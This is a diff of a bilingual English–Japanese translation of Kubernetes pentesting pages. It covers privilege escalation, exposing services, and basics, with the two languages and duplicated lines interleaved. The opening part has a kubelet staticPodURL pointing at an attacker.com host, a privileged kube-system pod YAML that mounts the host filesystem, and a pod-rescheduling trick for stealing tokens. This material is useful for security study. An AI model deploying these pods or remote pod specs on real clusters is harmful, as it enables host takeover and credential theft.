**Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
- **kubelet** 設定ファイルのパラメータ **`staticPodURL`** を変更し、`staticPodURL: http://attacker.com:8765/pod.yaml` のように設定します。これにより、kubelet プロセスは**指定された URL から構成を取得して静的ポッドを作成します**。
**特権ポッドを** **kube-system** に作成するための**ポッド**構成の**例**は、[**こちら**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/)から取得しました：
```yaml
apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory
```
### ポッドの削除 + スケジュールできないノード
### Delete pods + unschedulable nodes
攻撃者が**ノードを侵害**し、他のノードから**ポッドを削除**し、**他のノードがポッドを実行できないようにする**ことができれば、ポッドは侵害されたノードで再実行され、彼はそれらで実行されている**トークンを盗む**ことができる。\
[**詳細についてはこのリンクを参照してください**](abusing-roles-clusterroles-in-kubernetes/#delete-pods-+-unschedulable-nodes)。
If an attacker has **compromised a node** and he can **delete pods** from other nodes and **make other nodes not able to execute pods**, the pods will be rerun in the compromised node and he will be able to **steal the tokens** run in them.\
For [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/#delete-pods-+-unschedulable-nodes).
## Automatic Tools
## 自動ツール
- [**https://github.com/inguardians/peirates**](https://github.com/inguardians/peirates)
```
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
@@ -389,11 +350,6 @@ Off-Menu +
[exit] Exit Peirates
```
- [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
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210
src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md
View File

@@ -1,219 +1,189 @@
# Exposing Services in Kubernetes
# Kubernetesにおけるサービスの公開
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There are **different ways to expose services** in Kubernetes so both **internal** endpoints and **external** endpoints can access them. This Kubernetes configuration is pretty critical as the administrator could give access to **attackers to services they shouldn't be able to access**.
Kubernetesには、**内部**エンドポイントと**外部**エンドポイントの両方がアクセスできるようにサービスを公開する**異なる方法**があります。このKubernetesの設定は非常に重要であり、管理者が**攻撃者にアクセスしてはいけないサービスへのアクセスを与える**可能性があります。
### Automatic Enumeration
Before starting enumerating the ways K8s offers to expose services to the public, know that if you can list namespaces, services and ingresses, you can find everything exposed to the public with:
### 自動列挙
K8sがサービスを公開する方法を列挙する前に、名前空間、サービス、イングレスをリストできる場合、次のコマンドを使用して公開されているすべてのものを見つけることができることを知っておいてください:
```bash
kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
echo "Namespace: $ns"
kubectl get service -n "$ns"
kubectl get ingress -n "$ns"
echo "=============================================="
echo ""
echo ""
echo "Namespace: $ns"
kubectl get service -n "$ns"
kubectl get ingress -n "$ns"
echo "=============================================="
echo ""
echo ""
done | grep -v "ClusterIP"
# Remove the last '| grep -v "ClusterIP"' to see also type ClusterIP
```
### ClusterIP
A **ClusterIP** service is the **default** Kubernetes **service**. It gives you a **service inside** your cluster that other apps inside your cluster can access. There is **no external access**.
However, this can be accessed using the Kubernetes Proxy:
**ClusterIP** サービスは、**デフォルト** の Kubernetes **サービス** です。これは、クラスター内の他のアプリがアクセスできる **クラスター内のサービス** を提供します。**外部アクセス** はありません。
しかし、これは Kubernetes プロキシを使用してアクセスできます:
```bash
kubectl proxy --port=8080
```
Now, you can navigate through the Kubernetes API to access services using this scheme:
今、次のスキームを使用してKubernetes APIを介してサービスにアクセスできます：
`http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
For example you could use the following URL:
例えば、次のURLを使用できます：
`http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/`
to access this service:
このサービスにアクセスするために：
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-internal-service
name: my-internal-service
spec:
selector:
app: my-app
type: ClusterIP
ports:
- name: http
port: 80
targetPort: 80
protocol: TCP
selector:
app: my-app
type: ClusterIP
ports:
- name: http
port: 80
targetPort: 80
protocol: TCP
```
_この方法では、**認証されたユーザー**として `kubectl` を実行する必要があります。_
_This method requires you to run `kubectl` as an **authenticated user**._
List all ClusterIPs:
ClusterIPの一覧:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP
```
### NodePort
When **NodePort** is utilised, a designated port is made available on all Nodes (representing the Virtual Machines). **Traffic** directed to this specific port is then systematically **routed to the service**. Typically, this method is not recommended due to its drawbacks.
List all NodePorts:
**NodePort**が利用されると、すべてのノード（仮想マシンを表す）で指定されたポートが利用可能になります。この特定のポートに向けられた**トラフィック**は、体系的に**サービスにルーティング**されます。通常、この方法は欠点があるため推奨されません。
すべてのNodePortをリストします:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort
```
An example of NodePort specification:
NodePort仕様の例:
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-nodeport-service
name: my-nodeport-service
spec:
selector:
app: my-app
type: NodePort
ports:
- name: http
port: 80
targetPort: 80
nodePort: 30036
protocol: TCP
selector:
app: my-app
type: NodePort
ports:
- name: http
port: 80
targetPort: 80
nodePort: 30036
protocol: TCP
```
If you **don't specify** the **nodePort** in the yaml (it's the port that will be opened) a port in the **range 30000–32767 will be used**.
もし**yaml**で**nodePort**を**指定しない**場合（開かれるポートです）、**30000–32767の範囲内のポートが使用されます**。
### LoadBalancer <a href="#id-0d96" id="id-0d96"></a>
Exposes the Service externally **using a cloud provider's load balancer**. On GKE, this will spin up a [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) that will give you a single IP address that will forward all traffic to your service. In AWS it will launch a Load Balancer.
**クラウドプロバイダーのロードバランサーを使用して**サービスを外部に公開します。GKEでは、[ネットワークロードバランサー](https://cloud.google.com/compute/docs/load-balancing/network/)が起動され、すべてのトラフィックをサービスに転送する単一のIPアドレスが提供されます。AWSでは、ロードバランサーが起動されます。
You have to pay for a LoadBalancer per exposed service, which can be expensive.
List all LoadBalancers:
公開されたサービスごとにロードバランサーの料金が発生し、高額になる可能性があります。
すべてのロードバランサーをリストします：
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer
```
### External IPs <a href="#external-ips" id="external-ips"></a>
> [!TIP]
> External IPs are exposed by services of type Load Balancers and they are generally used when an external Cloud Provider Load Balancer is being used.
> 外部IPは、Load Balancersタイプのサービスによって公開され、一般的に外部クラウドプロバイダーのLoad Balancerが使用されるときに使用されます。
>
> For finding them, check for load balancers with values in the `EXTERNAL-IP` field.
> それらを見つけるには、`EXTERNAL-IP`フィールドに値があるロードバランサーを確認してください。
Traffic that ingresses into the cluster with the **external IP** (as **destination IP**), on the Service port, will be **routed to one of the Service endpoints**. `externalIPs` are not managed by Kubernetes and are the responsibility of the cluster administrator.
In the Service spec, `externalIPs` can be specified along with any of the `ServiceTypes`. In the example below, "`my-service`" can be accessed by clients on "`80.11.12.10:80`" (`externalIP:port`)
**external IP**（**宛先IP**）でクラスタに入るトラフィックは、サービスポートで、**サービスエンドポイントの1つにルーティングされます**。`externalIPs`はKubernetesによって管理されず、クラスタ管理者の責任です。
サービス仕様では、`externalIPs`は任意の`ServiceTypes`と共に指定できます。以下の例では、"`my-service`"は"`80.11.12.10:80`"（`externalIP:port`）でクライアントによってアクセス可能です。
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-service
name: my-service
spec:
selector:
app: MyApp
ports:
- name: http
protocol: TCP
port: 80
targetPort: 9376
externalIPs:
- 80.11.12.10
selector:
app: MyApp
ports:
- name: http
protocol: TCP
port: 80
targetPort: 9376
externalIPs:
- 80.11.12.10
```
### ExternalName
[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Services of type ExternalName **map a Service to a DNS name**, not to a typical selector such as `my-service` or `cassandra`. You specify these Services with the `spec.externalName` parameter.
This Service definition, for example, maps the `my-service` Service in the `prod` namespace to `my.database.example.com`:
[**ドキュメントから:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) ExternalNameタイプのサービスは、**サービスをDNS名にマッピングします**。通常のセレクタ（`my-service`や`cassandra`など）にはマッピングしません。これらのサービスは`spec.externalName`パラメータで指定します。
例えば、このサービス定義は、`prod`名前空間の`my-service`サービスを`my.database.example.com`にマッピングします：
```yaml
apiVersion: v1
kind: Service
metadata:
name: my-service
namespace: prod
name: my-service
namespace: prod
spec:
type: ExternalName
externalName: my.database.example.com
type: ExternalName
externalName: my.database.example.com
```
`my-service.prod.svc.cluster.local`というホストを調べると、クラスターDNSサービスは値`my.database.example.com`を持つ`CNAME`レコードを返します。`my-service`へのアクセスは他のサービスと同じように機能しますが、重要な違いは**リダイレクションがDNSレベルで発生する**ということです。
When looking up the host `my-service.prod.svc.cluster.local`, the cluster DNS Service returns a `CNAME` record with the value `my.database.example.com`. Accessing `my-service` works in the same way as other Services but with the crucial difference that **redirection happens at the DNS level** rather than via proxying or forwarding.
List all ExternalNames:
すべてのExternalNamesをリストします:
```bash
kubectl get services --all-namespaces | grep ExternalName
```
### Ingress
Unlike all the above examples, **Ingress is NOT a type of service**. Instead, it sits **in front of multiple services and act as a “smart router”** or entrypoint into your cluster.
上記のすべての例とは異なり、**Ingressはサービスの一種ではありません**。代わりに、**複数のサービスの前に位置し、「スマートルーター」として機能します**、またはクラスターへのエントリーポイントです。
You can do a lot of different things with an Ingress, and there are **many types of Ingress controllers that have different capabilities**.
Ingressを使用すると、さまざまなことができます。また、**異なる機能を持つ多くのタイプのIngressコントローラーがあります**。
The default GKE ingress controller will spin up a [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) for you. This will let you do both path based and subdomain based routing to backend services. For example, you can send everything on foo.yourdomain.com to the foo service, and everything under the yourdomain.com/bar/ path to the bar service.
The YAML for a Ingress object on GKE with a [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) might look like this:
デフォルトのGKE Ingressコントローラーは、[HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/)を自動的に作成します。これにより、バックエンドサービスへのパスベースおよびサブドメインベースのルーティングの両方が可能になります。たとえば、foo.yourdomain.comのすべてをfooサービスに送信し、yourdomain.com/bar/パスの下のすべてをbarサービスに送信できます。
GKEの[L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/)を使用したIngressオブジェクトのYAMLは次のようになります:
```yaml
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
name: my-ingress
name: my-ingress
spec:
backend:
serviceName: other
servicePort: 8080
rules:
- host: foo.mydomain.com
http:
paths:
- backend:
serviceName: foo
servicePort: 8080
- host: mydomain.com
http:
paths:
- path: /bar/*
backend:
serviceName: bar
servicePort: 8080
backend:
serviceName: other
servicePort: 8080
rules:
- host: foo.mydomain.com
http:
paths:
- backend:
serviceName: foo
servicePort: 8080
- host: mydomain.com
http:
paths:
- path: /bar/*
backend:
serviceName: bar
servicePort: 8080
```
List all the ingresses:
すべてのイングレスをリストします:
```bash
kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status'
```
Although in this case it's better to get the info of each one by one to read it better:
この場合、各情報を一つずつ取得して、より良く読む方が良いです：
```bash
kubectl get ingresses --all-namespaces -o=yaml
```
### References
### 参考文献
- [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0)
- [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/)
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574
src/pentesting-cloud/kubernetes-security/kubernetes-basics.md
View File

@@ -4,91 +4,90 @@
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**The original author of this page is** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(read his original post** [**here**](https://sickrov.github.io)**)**
**このページの元の著者は** [**ホルヘ**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **です（彼の元の投稿は** [**こちら**](https://sickrov.github.io)**）**
## Architecture & Basics
## アーキテクチャと基本
### What does Kubernetes do?
### Kubernetesは何をするのか？
- Allows running container/s in a container engine.
- Schedule allows containers mission efficient.
- Keep containers alive.
- Allows container communications.
- Allows deployment techniques.
- Handle volumes of information.
- コンテナエンジンでコンテナを実行できる。
- スケジュールによりコンテナのミッションを効率的に行う。
- コンテナを生かしておく。
- コンテナ間の通信を可能にする。
- デプロイメント技術を許可する。
- 情報のボリュームを処理する。
### Architecture
### アーキテクチャ
![](https://sickrov.github.io/media/Screenshot-68.jpg)
- **Node**: operating system with pod or pods.
- **Pod**: Wrapper around a container or multiple containers with. A pod should only contain one application (so usually, a pod run just 1 container). The pod is the way kubernetes abstracts the container technology running.
- **Service**: Each pod has 1 internal **IP address** from the internal range of the node. However, it can be also exposed via a service. The **service has also an IP address** and its goal is to maintain the communication between pods so if one dies the **new replacement** (with a different internal IP) **will be accessible** exposed in the **same IP of the service**. It can be configured as internal or external. The service also actuates as a **load balancer when 2 pods are connected** to the same service.\
When a **service** is **created** you can find the endpoints of each service running `kubectl get endpoints`
- **Kubelet**: Primary node agent. The component that establishes communication between node and kubectl, and only can run pods (through API server). The kubelet doesn’t manage containers that were not created by Kubernetes.
- **Kube-proxy**: is the service in charge of the communications (services) between the apiserver and the node. The base is an IPtables for nodes. Most experienced users could install other kube-proxies from other vendors.
- **Sidecar container**: Sidecar containers are the containers that should run along with the main container in the pod. This sidecar pattern extends and enhances the functionality of current containers without changing them. Nowadays, We know that we use container technology to wrap all the dependencies for the application to run anywhere. A container does only one thing and does that thing very well.
- **Master process:**
- **Api Server:** Is the way the users and the pods use to communicate with the master process. Only authenticated request should be allowed.
- **Scheduler**: Scheduling refers to making sure that Pods are matched to Nodes so that Kubelet can run them. It has enough intelligence to decide which node has more available resources the assign the new pod to it. Note that the scheduler doesn't start new pods, it just communicate with the Kubelet process running inside the node, which will launch the new pod.
- **Kube Controller manager**: It checks resources like replica sets or deployments to check if, for example, the correct number of pods or nodes are running. In case a pod is missing, it will communicate with the scheduler to start a new one. It controls replication, tokens, and account services to the API.
- **etcd**: Data storage, persistent, consistent, and distributed. Is Kubernetes’s database and the key-value storage where it keeps the complete state of the clusters (each change is logged here). Components like the Scheduler or the Controller manager depends on this date to know which changes have occurred (available resourced of the nodes, number of pods running...)
- **Cloud controller manager**: Is the specific controller for flow controls and applications, i.e: if you have clusters in AWS or OpenStack.
- **ノード**: ポッドまたはポッドを持つオペレーティングシステム。
- **ポッド**: コンテナまたは複数のコンテナを包むラッパー。ポッドは通常、1つのアプリケーションのみを含むべきである（通常、ポッドは1つのコンテナを実行する）。ポッドはKubernetesが実行しているコンテナ技術を抽象化する方法である。
- **サービス**: 各ポッドはノードの内部範囲から1つの内部**IPアドレス**を持つ。しかし、サービスを介して公開することもできる。**サービスにもIPアドレスがあり**、その目的はポッド間の通信を維持することである。したがって、1つのポッドが死んだ場合、**新しい置き換え**（異なる内部IPを持つ）**がサービスの同じIPでアクセス可能になる**。内部または外部として構成できる。サービスはまた、**2つのポッドが同じサービスに接続されているときにロードバランサーとして機能する**。\
サービスが**作成されると**、`kubectl get endpoints`を実行して各サービスのエンドポイントを見つけることができる。
- **Kubelet**: プライマリノードエージェント。ノードとkubectl間の通信を確立するコンポーネントであり、ポッドのみを実行できる（APIサーバーを介して）。KubeletはKubernetesによって作成されていないコンテナを管理しない。
- **Kube-proxy**: apiserverとノード間の通信（サービス）を担当するサービスである。ノードのためのIPtablesが基本である。経験豊富なユーザーは、他のベンダーからの他のkube-proxiesをインストールすることができる。
- **サイドカーコンテナ**: サイドカーコンテナは、ポッド内のメインコンテナと一緒に実行されるべきコンテナである。このサイドカーパターンは、現在のコンテナの機能を変更することなく拡張し強化する。現在、私たちはアプリケーションがどこでも実行できるようにすべての依存関係をラップするためにコンテナ技術を使用していることを知っている。コンテナは1つのことだけを行い、そのことを非常にうまく行う。
- **マスタープロセス:**
- **Api Server:** ユーザーとポッドがマスタープロセスと通信するための方法である。認証されたリクエストのみが許可されるべきである。
- **スケジューラ**: スケジューリングは、ポッドがノードにマッチすることを確認することを指す。Kubeletがそれらを実行できるようにする。どのノードがより多くのリソースを利用可能かを決定するための十分な知性を持っており、新しいポッドをそれに割り当てる。スケジューラは新しいポッドを開始するのではなく、ノード内で実行されているKubeletプロセスと通信し、新しいポッドを起動する。
- **Kube Controller manager**: レプリカセットやデプロイメントなどのリソースをチェックし、例えば、正しい数のポッドやノードが実行されているかを確認する。ポッドが欠けている場合、新しいポッドを開始するためにスケジューラと通信する。APIへのレプリケーション、トークン、およびアカウントサービスを制御する。
- **etcd**: データストレージ、永続的、一貫性があり、分散型。Kubernetesのデータベースであり、クラスターの完全な状態を保持するキー-バリューストレージ（各変更はここに記録される）。スケジューラやコントローラーマネージャーなどのコンポーネントは、どの変更が発生したかを知るためにこのデータに依存する（ノードの利用可能なリソース、実行中のポッドの数...）。
- **Cloud controller manager**: フロー制御とアプリケーションのための特定のコントローラーである。つまり、AWSやOpenStackにクラスターがある場合。
Note that as the might be several nodes (running several pods), there might also be several master processes which their access to the Api server load balanced and their etcd synchronized.
ノードが複数（複数のポッドを実行）される可能性があるため、Apiサーバーへのアクセスが負荷分散され、etcdが同期される複数のマスタープロセスが存在する可能性があることに注意してください。
**Volumes:**
**ボリューム:**
When a pod creates data that shouldn't be lost when the pod disappear it should be stored in a physical volume. **Kubernetes allow to attach a volume to a pod to persist the data**. The volume can be in the local machine or in a **remote storage**. If you are running pods in different physical nodes you should use a remote storage so all the pods can access it.
ポッドがデータを作成し、それがポッドが消えるときに失われるべきでない場合、それは物理ボリュームに保存されるべきである。**Kubernetesはデータを永続化するためにポッドにボリュームをアタッチすることを許可する**。ボリュームはローカルマシンまたは**リモートストレージ**に存在する可能性がある。異なる物理ノードでポッドを実行している場合、すべてのポッドがアクセスできるようにリモートストレージを使用するべきである。
**Other configurations:**
**その他の構成:**
- **ConfigMap**: You can configure **URLs** to access services. The pod will obtain data from here to know how to communicate with the rest of the services (pods). Note that this is not the recommended place to save credentials!
- **Secret**: This is the place to **store secret data** like passwords, API keys... encoded in B64. The pod will be able to access this data to use the required credentials.
- **Deployments**: This is where the components to be run by kubernetes are indicated. A user usually won't work directly with pods, pods are abstracted in **ReplicaSets** (number of same pods replicated), which are run via deployments. Note that deployments are for **stateless** applications. The minimum configuration for a deployment is the name and the image to run.
- **StatefulSet**: This component is meant specifically for applications like **databases** which needs to **access the same storage**.
- **Ingress**: This is the configuration that is use to **expose the application publicly with an URL**. Note that this can also be done using external services, but this is the correct way to expose the application.
- If you implement an Ingress you will need to create **Ingress Controllers**. The Ingress Controller is a **pod** that will be the endpoint that will receive the requests and check and will load balance them to the services. the ingress controller will **send the request based on the ingress rules configured**. Note that the ingress rules can point to different paths or even subdomains to different internal kubernetes services.
- A better security practice would be to use a cloud load balancer or a proxy server as entrypoint to don't have any part of the Kubernetes cluster exposed.
- When request that doesn't match any ingress rule is received, the ingress controller will direct it to the "**Default backend**". You can `describe` the ingress controller to get the address of this parameter.
- `minikube addons enable ingress`
- **ConfigMap**: サービスにアクセスするための**URL**を構成できる。ポッドはここからデータを取得して、他のサービス（ポッド）と通信する方法を知る。これは資格情報を保存するための推奨場所ではないことに注意してください！
- **Secret**: これは**パスワード、APIキー...**などの秘密データをB64でエンコードして**保存する場所**である。ポッドは必要な資格情報を使用するためにこのデータにアクセスできる。
- **Deployments**: これはKubernetesによって実行されるコンポーネントが示される場所である。ユーザーは通常ポッドと直接作業しない。ポッドは**ReplicaSets**（複製された同じポッドの数）で抽象化され、デプロイメントを介して実行される。デプロイメントは**ステートレス**アプリケーションのためのものであることに注意してください。デプロイメントの最小構成は、名前と実行するイメージである。
- **StatefulSet**: このコンポーネントは、**データベース**のようなアプリケーション専用であり、**同じストレージにアクセスする必要がある**。
- **Ingress**: これは**アプリケーションをURLで公開するために使用される構成**である。これは外部サービスを使用しても行うことができるが、アプリケーションを公開するための正しい方法であることに注意してください。
- Ingressを実装する場合、**Ingress Controllers**を作成する必要がある。Ingressコントローラーは、リクエストを受け取り、チェックし、サービスに負荷分散するエンドポイントとなる**ポッド**である。Ingressコントローラーは**構成されたIngressルールに基づいてリクエストを送信する**。Ingressルールは、異なるパスや異なる内部Kubernetesサービスへのサブドメインを指すことができることに注意してください。
- より良いセキュリティプラクティスは、Kubernetesクラスターのどの部分も公開しないように、エントリーポイントとしてクラウドロードバランサーまたはプロキシサーバーを使用することである。
- どのIngressルールにも一致しないリクエストが受信されると、Ingressコントローラーはそれを「**デフォルトバックエンド**」に向ける。`describe`コマンドを使用してIngressコントローラーのこのパラメータのアドレスを取得できる。
- `minikube addons enable ingress`
### PKI infrastructure - Certificate Authority CA:
### PKIインフラストラクチャ - 証明書機関CA:
![](https://sickrov.github.io/media/Screenshot-66.jpg)
- CA is the trusted root for all certificates inside the cluster.
- Allows components to validate to each other.
- All cluster certificates are signed by the CA.
- ETCd has its own certificate.
- types:
- apiserver cert.
- kubelet cert.
- scheduler cert.
- CAはクラスター内のすべての証明書の信頼されたルートである。
- コンポーネントが互いに検証できるようにする。
- すべてのクラスター証明書はCAによって署名される。
- etcdは独自の証明書を持つ。
- タイプ:
- apiserver証明書。
- kubelet証明書。
- スケジューラ証明書。
## Basic Actions
## 基本的なアクション
### Minikube
**Minikube** can be used to perform some **quick tests** on kubernetes without needing to deploy a whole kubernetes environment. It will run the **master and node processes in one machine**. Minikube will use virtualbox to run the node. See [**here how to install it**](https://minikube.sigs.k8s.io/docs/start/).
**Minikube**は、完全なKubernetes環境をデプロイすることなく、Kubernetes上でいくつかの**クイックテスト**を実行するために使用できる。**マスターとノードプロセスを1台のマシンで実行する**。Minikubeはノードを実行するためにVirtualBoxを使用する。 [**こちらでインストール方法を確認してください**](https://minikube.sigs.k8s.io/docs/start/)。
```
$ minikube start
😄 minikube v1.19.0 on Ubuntu 20.04
✨ Automatically selected the virtualbox driver. Other choices: none, ssh
💿 Downloading VM boot image ...
> minikube-v1.19.0.iso.sha256: 65 B / 65 B [-------------] 100.00% ? p/s 0s
> minikube-v1.19.0.iso: 244.49 MiB / 244.49 MiB 100.00% 1.78 MiB p/s 2m17.
> minikube-v1.19.0.iso.sha256: 65 B / 65 B [-------------] 100.00% ? p/s 0s
> minikube-v1.19.0.iso: 244.49 MiB / 244.49 MiB 100.00% 1.78 MiB p/s 2m17.
👍 Starting control plane node minikube in cluster minikube
💾 Downloading Kubernetes v1.20.2 preload ...
> preloaded-images-k8s-v10-v1...: 491.71 MiB / 491.71 MiB 100.00% 2.59 MiB
> preloaded-images-k8s-v10-v1...: 491.71 MiB / 491.71 MiB 100.00% 2.59 MiB
🔥 Creating virtualbox VM (CPUs=2, Memory=3900MB, Disk=20000MB) ...
🐳 Preparing Kubernetes v1.20.2 on Docker 20.10.4 ...
▪ Generating certificates and keys ...
▪ Booting up control plane ...
▪ Configuring RBAC rules ...
▪ Generating certificates and keys ...
▪ Booting up control plane ...
▪ Configuring RBAC rules ...
🔎 Verifying Kubernetes components...
▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5
▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5
🌟 Enabled addons: storage-provisioner, default-storageclass
🏄 Done! kubectl is now configured to use "minikube" cluster and "default" namespace by defaul
@@ -106,11 +105,9 @@ $ minikube delete
🔥 Deleting "minikube" in virtualbox ...
💀 Removed all traces of the "minikube" cluster
```
### Kubectlの基本
### Kubectl Basics
**`Kubectl`** is the command line tool for kubernetes clusters. It communicates with the Api server of the master process to perform actions in kubernetes or to ask for data.
**`Kubectl`** は、kubernetesクラスター用のコマンドラインツールです。これは、kubernetes内でアクションを実行したりデータを要求したりするために、マスタープロセスのApiサーバーと通信します。
```bash
kubectl version #Get client and server version
kubectl get pod
@@ -141,188 +138,172 @@ kubectl delete deployment mongo-depl
#Deploy from config file
kubectl apply -f deployment.yml
```
### Minikube ダッシュボード
### Minikube Dashboard
The dashboard allows you to see easier what is minikube running, you can find the URL to access it in:
ダッシュボードを使用すると、minikube が何を実行しているかをより簡単に確認できます。アクセスするための URL は次の場所にあります:
```
minikube dashboard --url
🔌 Enabling dashboard ...
▪ Using image kubernetesui/dashboard:v2.3.1
▪ Using image kubernetesui/metrics-scraper:v1.0.7
▪ Using image kubernetesui/dashboard:v2.3.1
▪ Using image kubernetesui/metrics-scraper:v1.0.7
🤔 Verifying dashboard health ...
🚀 Launching proxy ...
🤔 Verifying proxy health ...
http://127.0.0.1:50034/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/
```
### YAML構成ファイルの例
### YAML configuration files examples
各構成ファイルには3つの部分があります: **metadata**、**specification**（起動する必要があるもの）、**status**（望ましい状態）。\
デプロイメント構成ファイルの仕様の中には、実行するイメージを定義する新しい構成構造で定義されたテンプレートがあります:
Each configuration file has 3 parts: **metadata**, **specification** (what need to be launch), **status** (desired state).\
Inside the specification of the deployment configuration file you can find the template defined with a new configuration structure defining the image to run:
**Example of Deployment + Service declared in the same configuration file (from** [**here**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)**
As a service usually is related to one deployment it's possible to declare both in the same configuration file (the service declared in this config is only accessible internally):
**同じ構成ファイルで宣言されたDeployment + Serviceの例（** [**こちら**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**）**
サービスは通常1つのデプロイメントに関連付けられているため、同じ構成ファイルで両方を宣言することが可能です（この構成で宣言されたサービスは内部からのみアクセス可能です）：
```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: mongodb-deployment
labels:
app: mongodb
name: mongodb-deployment
labels:
app: mongodb
spec:
replicas: 1
selector:
matchLabels:
app: mongodb
template:
metadata:
labels:
app: mongodb
spec:
containers:
- name: mongodb
image: mongo
ports:
- containerPort: 27017
env:
- name: MONGO_INITDB_ROOT_USERNAME
valueFrom:
secretKeyRef:
name: mongodb-secret
key: mongo-root-username
- name: MONGO_INITDB_ROOT_PASSWORD
valueFrom:
secretKeyRef:
name: mongodb-secret
key: mongo-root-password
replicas: 1
selector:
matchLabels:
app: mongodb
template:
metadata:
labels:
app: mongodb
spec:
containers:
- name: mongodb
image: mongo
ports:
- containerPort: 27017
env:
- name: MONGO_INITDB_ROOT_USERNAME
valueFrom:
secretKeyRef:
name: mongodb-secret
key: mongo-root-username
- name: MONGO_INITDB_ROOT_PASSWORD
valueFrom:
secretKeyRef:
name: mongodb-secret
key: mongo-root-password
---
apiVersion: v1
kind: Service
metadata:
name: mongodb-service
name: mongodb-service
spec:
selector:
app: mongodb
ports:
- protocol: TCP
port: 27017
targetPort: 27017
selector:
app: mongodb
ports:
- protocol: TCP
port: 27017
targetPort: 27017
```
**外部サービス構成の例**
**Example of external service config**
This service will be accessible externally (check the `nodePort` and `type: LoadBlancer` attributes):
このサービスは外部からアクセス可能です（`nodePort` と `type: LoadBlancer` 属性を確認してください）：
```yaml
---
apiVersion: v1
kind: Service
metadata:
name: mongo-express-service
name: mongo-express-service
spec:
selector:
app: mongo-express
type: LoadBalancer
ports:
- protocol: TCP
port: 8081
targetPort: 8081
nodePort: 30000
selector:
app: mongo-express
type: LoadBalancer
ports:
- protocol: TCP
port: 8081
targetPort: 8081
nodePort: 30000
```
> [!NOTE]
> This is useful for testing but for production you should have only internal services and an Ingress to expose the application.
> これはテストに役立ちますが、本番環境では内部サービスのみを持ち、アプリケーションを公開するためにIngressを使用するべきです。
**Example of Ingress config file**
This will expose the application in `http://dashboard.com`.
**Ingress構成ファイルの例**
これにより、アプリケーションが`http://dashboard.com`で公開されます。
```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: dashboard-ingress
namespace: kubernetes-dashboard
name: dashboard-ingress
namespace: kubernetes-dashboard
spec:
rules:
- host: dashboard.com
http:
paths:
- backend:
serviceName: kubernetes-dashboard
servicePort: 80
rules:
- host: dashboard.com
http:
paths:
- backend:
serviceName: kubernetes-dashboard
servicePort: 80
```
**シークレット設定ファイルの例**
**Example of secrets config file**
Note how the password are encoded in B64 (which isn't secure!)
